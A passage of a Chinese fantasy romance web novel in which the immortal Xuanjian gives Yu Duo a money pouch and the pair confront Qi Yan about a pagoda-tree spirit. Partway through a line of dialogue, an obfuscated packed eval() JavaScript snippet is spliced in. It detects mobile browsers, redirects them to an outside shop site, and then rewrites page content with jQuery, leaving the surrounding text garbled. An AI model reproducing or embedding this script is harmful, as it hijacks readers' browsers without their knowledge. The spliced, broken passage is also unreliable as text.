绿叶簌簌飘落,玄鉴低声嘱咐余多,等树下只剩齐砚一人,两人再上前搭话。
余多望着不远处那位白发公子,木然地点头,心底的话几番辗转,终究还是压了下去。
她低头打量身上这件鹅黄衣衫,反复摩挲衣料,全然看不出半点不妥。又悄悄抬眼去窥玄鉴的神色,想从他脸上寻出缘由。
可玄鉴素来面容清冷,素来没什么多余表情,她看了半晌,也一无所获。
摸着袖口精致的小花刺绣,余多心里满是不舍。
她没穿过这么好的衣服。
即使那些细碎的记忆告诉余多,她曾是天上的仙子,平日里穿的衣服可谓是天衣无缝。
可直到现在,余多都没办法将自己塞入那个深明大义的神女模子里,她没有亲身体会过那些东西,自然无法对那些记忆全盘接受。
这件新衣服是玄鉴买的,因为那里只有三件成衣,所以余多有了三件新衣服…
可是,可是,余多默默垂下眼睛,她觉得这衣服又没脏又没坏,为什么就要扔掉呢?
“可不可以…”余多心里反复纠结,终于还是按捺不住,细若蚊蚋地吐出几个字,成功引来了玄鉴的目光。
玄鉴低头看向只及自己胸前的小凡人,几不可察地偏了偏头,神态竟透出几分懵懂。
可惜余多正忐忑呢,也不敢抬头盯着玄鉴看,不过,此时余多心里已经有些后悔了。
她想,这衣服毕竟是玄鉴买的,自己有什么权利来反对他要求她将这衣服扔掉呢?
“没什么。”余多就这样将嘴边的话咽了回去,就像咽下一口足以填饱肚子却粗糙的几乎可能会划伤喉咙的粗面馒头。
玄鉴眸色闪动,看出余多的迟疑。
再略一打量余多紧紧攥着衣袖的手,已经明白了余多在纠结什么。
为一件衣服纠结的心事让久居神位的玄鉴为之费解,可眼下离开幻境在即。
他并不想因此让余多分出太多心思放在这些身外之物上。
想到这里,玄鉴背过身,右手解下腰间的锦囊,这是一个储物袋,装着许多凡间财物。
而余多的剩余两件衣裳也在其中。
“这个给你,你那件衣服…”玄鉴说到此处,话断在路上,他自觉自己不是个没有礼节的人。
也知道如果自己说是因为余多用衣袖擦汗的动作才让她将这衣服扔掉的话,可能会伤余多的心。
毕竟余多是个女孩,想到这里,玄鉴继续说道。
“你衣服后摆有些不太整洁。”
余多恍若在梦中一样看着神仙手里仿佛在发光的锦囊。
私心里,她是很想要的,可自己本来就骗了这神仙,再拿走别人的钱也不好。
余多不喜欢欠别人东西,于是她没接那锦囊。
至于玄鉴所说的话,则让少女喜上眉梢。
余多开心的绕着玄鉴转了一圈,接着露出大大的笑:“没事的,我会新衣服,这个洗洗就干净了。”
玄鉴被余多突然高昂的精神状态惊到,再听见余多的话。
玄鉴的眼深深落在那个纯真的笑上,心里某处突然动了一下,余多一个人长大,还要带着余少生活,一定很辛苦吧?
只是洗衣服吗?余多是不是还会更多东西呢?
那些没有父母庇护的岁月里,余多吃了多少苦呢?
玄鉴几乎像是被火苗烫到一般,飞快收回了自己的眼,对于被余多推拒的锦囊,他也有了打算。
这次他直接将锦囊塞入了余多的手心,手指抽离的瞬间,不慎擦到了余多炽热的掌心,玄鉴微微皱起了眉。
收回手后,很快将那只手掩入了宽大的衣袖中,控制不住的捻了捻,仿佛要把那热度就这样磨掉。
余多捧起那锦囊,茫然的仰头看着这人,看着那皱起的眉,明灭的眼眸…还是好俊啊…
余多看着那张脸默默想着。
玄鉴被那直白的目光瞧着,不自在的扭过头:“邀请你同行,我理应为你的衣食住行负责。”
说罢,他再度转头看向她,眼底漾开一抹浅淡温柔:“这便当作给你的酬劳,你安心收下。
“这是你应得的酬劳。”
糟糕!余多感觉自己的眼睛突然变得热热的,她第一次在与别人对视时率先别过了头,只用侧脸对着玄鉴。
她最后还是收下了那个绣着竹子的锦囊,将那钱袋子藏在离自己心口最近的地方,就像以前每次藏起带给余少的食物一样,藏的深深的。
“谢谢你”余多极快的咬了下唇,对着玄鉴低声道谢。
就在话音落下的瞬间,一缕细碎金光自她周身飘出,缓缓汇入玄鉴体内,这一幕恰好被他尽收眼底。
纵使面上不显,玄鉴心里还是有些吃惊,这金光分明是功德灵光。
玄鉴自幼在天帝膝下修行,对这功德灵光自然很是了解。
世间生灵身上都有着善恶报,善报换功德,恶报换煞气,神存于世间,除却降世时天道赐予的神力寿命,想要存活更久,神力更强,只能从凡间生灵身上获得念力或是功德。
而念力与功德,更是云泥之别。寻常信徒的祈愿念力稀薄驳杂,十缕尚且抵不上一缕纯粹功德的效用。
不过是一句道谢,余多便自然而然逸出一缕功德相赠。足见她灵魂深处积淀的功德何其浑厚。玄鉴望着眼前眉眼质朴的少女,心头疑云愈发浓重。余多身上,究竟还藏着多少不为人知的秘密?
“少爷,奴婢这就去为您搬椅。”齐砚身旁的丫鬟敛身一礼,迈着细碎步子匆匆退去。
偌大的槐树下,转瞬便只剩齐砚一人。他抬首凝望着头顶繁密葱茏的枝叶,眉宇间凝着一股挥之不去的执拗。
余多忙回头告诉玄鉴:“神仙,你看,我们可以过去了吧?”
玄鉴收起心里的团团迷雾,闻言颔首。
“齐公子?”余多的声音将瞧着树入迷的白发男子唤回了神。
不过出乎玄鉴意料的是,转头的齐砚看向两人时脸上没有一丝熟悉感,反倒透着极浓的戒备和疏离。
齐砚抬手,将被风拂乱的白发别至耳后,语声冷淡:“二位何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566500|204638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人?为何擅入齐府?”
旁边安静站着的余多脸上出现恰到好处的惊讶,惊呼出声:“齐公子不认识我们了。”
齐砚的目光落在少女脸上,神色稍稍柔和下来。余多年岁模样,与他心念之人相仿,这份相似让他不自觉添了几分宽容。
这目光让玄鉴略微有些不悦,虽然知晓这齐公子对那槐花妖情根深种。
可这样直白的看一个女子,未免也太失态了。
玄鉴微微上前一步,错开齐砚的目光,顺势将袖中的槐树枯枝取出。
看到那树枝,余多有些错愕的看了看青年宽挺的后背,原来自己当时在树上时,他是在树下捡这树枝。
齐砚一眼便辨出这是槐树枝干,面色微变,可转念又疑心二人是故意设局试探,片刻后反倒淡淡一笑,对那枯枝视若无睹。
“公子拿一截断枝来,是想消遣在下吗?”
看也不看那树枝,只淡然道:“这位公子莫非是想用这枯枝与我开玩笑?”
眼见不说出什么跟妖有关的事,齐砚是不会配合的。
玄鉴压下心头的不详预感,他总感觉这次的幻境好像有些不同,明明之前的幻境循环,时间是拨到前面的,可眼下的情况好像有些超出预料之外了。
不过,玄鉴做事向来贯彻“行大于想”,于是他还是提了那个女妖的名字:“齐公子可知槐花妖镜玉花?”
这两只名字都是在道士嘴里问出来的,果然还是派上了用场。
果不其然,听见这名字,齐砚的脸色彻底变了,脸上的笑也转瞬消失。
白瓷似的脸在光下甚至闪过冰冷的神色:“你们要多少银两。”
世人所求,不过钱权两件,齐家于权上少有耕耘,钱倒是众所周知的盈满库房。
齐砚以为玄鉴两人是来敲竹杠的,他眼底闪过阴狠,无论是为了槐花妖,还是齐府的名声,钱都必须给。
有钱能使鬼推磨,齐砚大可以在两人离开后,再派人照着自己画图画将他们两人杀了。
杀人一事虽重,只要自己再遮掩几下,爹和娘也不会多说什么。
想到这,心落在实处,齐砚脸上又多了几丝耐人寻味的笑意。
接着,齐砚从怀里掏出几张银票,在脸前扬了扬:“这些够吗?”
不说玄鉴,余多也被刺激到了,她原本看见现在这个病还没那么重的齐公子还挺为他高兴。
可现在这人竟然用钱来侮辱他们,她余多虽然确实没什么钱,可也不是那种为了钱什么都行的人。
玄鉴呢?人家可是神仙,刚刚还面不改色的给了自己那么多钱财,分明是一副视金钱为粪土的高洁样子。
余多才不会任由自己和玄鉴就这样被齐砚轻视。
“齐砚,你怎么能这样呢?我们来这是帮你的,你为何要这样折辱我们?”
一边义愤填膺的斥责着齐砚,余多一边探头探脑的看向大槐树,向着大树告状:“漂亮姐姐,你看你的心上人…”
话音未落,一片槐叶骤然破空而来,势如飞矢,直向余多而来。